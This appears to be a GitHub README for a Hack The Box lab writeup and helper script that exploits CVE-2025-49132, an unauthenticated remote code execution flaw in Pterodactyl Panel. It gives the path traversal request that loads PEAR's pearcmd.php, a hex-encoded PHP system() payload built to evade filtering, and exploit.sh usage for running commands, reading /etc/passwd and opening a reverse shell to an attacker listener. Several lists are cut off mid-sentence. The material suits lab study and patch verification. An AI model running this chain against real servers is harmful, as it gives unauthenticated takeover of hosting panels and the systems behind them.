ahmedf000/cve-2025-49132_htb_season10Unauthenticated RCE exploit for CVE-2025-49132 in Pterodactyl Panel via path traversal, PEAR command injection, and PHP code execution. Includes HTB writeup and helper script.
HTB Season 10 - Pterodactyl Machine Writeup
Target: Pterodactyl HTB Machine (Medium Difficulty)
CVE: CVE-2025-49132
Severity: Critical (CVSS 9.8)
Attack Type: Unauthenticated Remote Code Execution
Affected: Pterodactyl Panel < v1.11.11
This exploit chain combines:
Pterodactyl Panel's /locales/locale.json endpoint allows path traversal through the locale parameter:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd
This can be chained with PEAR's pearcmd.php to:
/tmpPEAR (PHP Extension and Application Repository) has a CLI tool (pearcmd.php) that:
config-create command that writes filesThe Exploit Chain:
Path Traversal → Load pearcmd.php → Inject PHP via config-create → Execute malicious PHP
Commands are hex-encoded using hex2bin() to bypass:
Example:
Command: whoami
Hex: 77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>
Method: Using provided exploit.sh
chmod +x exploit.sh
# Get user flag
./exploit.sh flag
# Execute commands
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"
# Reverse shell
nc -lvnp 4444 # On attacker machine
./exploit.sh shell 10.10.14.21 4444